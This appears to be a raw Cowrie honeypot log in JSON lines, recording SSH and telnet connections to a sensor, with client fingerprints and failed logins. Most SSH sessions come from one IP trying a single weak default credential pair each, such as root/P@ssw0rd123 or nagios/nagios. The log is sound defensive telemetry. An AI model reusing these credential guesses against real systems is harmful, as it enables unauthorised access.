{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54934,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c97d5a9f72f","protocol":"ssh","message":"New connection: 45.156.87.147:54934 (10.17.0.5:22) [session: 2c97d5a9f72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:31.963531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:31.966512Z","src_ip":"45.156.87.147","session":"2c97d5a9f72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:32.048187Z","src_ip":"45.156.87.147","session":"2c97d5a9f72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:32.298706Z","src_ip":"45.156.87.147","session":"2c97d5a9f72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:33.384924Z","src_ip":"45.156.87.147","session":"2c97d5a9f72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54950,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b3550e4f4d","protocol":"ssh","message":"New connection: 45.156.87.147:54950 (10.17.0.5:22) [session: 99b3550e4f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:38.095709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:38.100250Z","src_ip":"45.156.87.147","session":"99b3550e4f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:38.188899Z","src_ip":"45.156.87.147","session":"99b3550e4f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:38.444461Z","src_ip":"45.156.87.147","session":"99b3550e4f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:39.528939Z","src_ip":"45.156.87.147","session":"99b3550e4f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38664,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4e7683072a","protocol":"telnet","message":"New connection: 94.23.66.112:38664 (10.17.0.5:23) [session: 6e4e7683072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:41.779171Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60854,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d91ee0574da","protocol":"ssh","message":"New connection: 45.156.87.147:60854 (10.17.0.5:22) [session: 9d91ee0574da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:44.190969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:44.194077Z","src_ip":"45.156.87.147","session":"9d91ee0574da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:44.273997Z","src_ip":"45.156.87.147","session":"9d91ee0574da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:44.523633Z","src_ip":"45.156.87.147","session":"9d91ee0574da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:45.679425Z","src_ip":"45.156.87.147","session":"9d91ee0574da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":37328,"dst_ip":"159.203.135.109","dst_port":23,"session":"57cceec56243","protocol":"telnet","message":"New connection: 166.62.124.255:37328 (159.203.135.109:23) [session: 57cceec56243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:46.676656Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55244,"dst_ip":"10.17.0.5","dst_port":22,"session":"2280434f3981","protocol":"ssh","message":"New connection: 45.156.87.147:55244 (10.17.0.5:22) [session: 2280434f3981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:50.267663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:50.305769Z","src_ip":"45.156.87.147","session":"2280434f3981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:50.518131Z","src_ip":"45.156.87.147","session":"2280434f3981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:50.770586Z","src_ip":"45.156.87.147","session":"2280434f3981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33568,"dst_ip":"159.203.135.109","dst_port":23,"session":"498c131a3863","protocol":"telnet","message":"New connection: 172.81.62.90:33568 (159.203.135.109:23) [session: 498c131a3863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:51.561732Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:51.854196Z","src_ip":"45.156.87.147","session":"2280434f3981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33584,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccfbe76ab922","protocol":"telnet","message":"New connection: 172.81.62.90:33584 (159.203.135.109:23) [session: ccfbe76ab922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:52.576136Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55258,"dst_ip":"10.17.0.5","dst_port":22,"session":"69f69ddab15d","protocol":"ssh","message":"New connection: 45.156.87.147:55258 (10.17.0.5:22) [session: 69f69ddab15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:56.698644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:56.704475Z","src_ip":"45.156.87.147","session":"69f69ddab15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:56.789165Z","src_ip":"45.156.87.147","session":"69f69ddab15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:57.041373Z","src_ip":"45.156.87.147","session":"69f69ddab15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:54:58.128295Z","src_ip":"45.156.87.147","session":"69f69ddab15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44484,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d58e900def","protocol":"ssh","message":"New connection: 45.156.87.147:44484 (10.17.0.5:22) [session: 75d58e900def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:02.682714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:02.690204Z","src_ip":"45.156.87.147","session":"75d58e900def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:02.812999Z","src_ip":"45.156.87.147","session":"75d58e900def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:03.172232Z","src_ip":"45.156.87.147","session":"75d58e900def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:04.259573Z","src_ip":"45.156.87.147","session":"75d58e900def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44520,"dst_ip":"10.17.0.5","dst_port":22,"session":"90319dd6bd90","protocol":"ssh","message":"New connection: 45.156.87.147:44520 (10.17.0.5:22) [session: 90319dd6bd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:08.975391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:08.981606Z","src_ip":"45.156.87.147","session":"90319dd6bd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:09.066075Z","src_ip":"45.156.87.147","session":"90319dd6bd90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:09.319592Z","src_ip":"45.156.87.147","session":"90319dd6bd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:10.407661Z","src_ip":"45.156.87.147","session":"90319dd6bd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0043044090271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:13.521971Z","src_ip":"128.199.8.54","session":"8fe58faa1708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06196427345276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:14.841058Z","src_ip":"94.23.66.112","session":"6e4e7683072a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60516,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb8dc86ca20c","protocol":"ssh","message":"New connection: 45.156.87.147:60516 (10.17.0.5:22) [session: bb8dc86ca20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:15.068782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:15.167209Z","src_ip":"45.156.87.147","session":"bb8dc86ca20c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:15.170452Z","src_ip":"45.156.87.147","session":"bb8dc86ca20c","protocol":"ssh"}
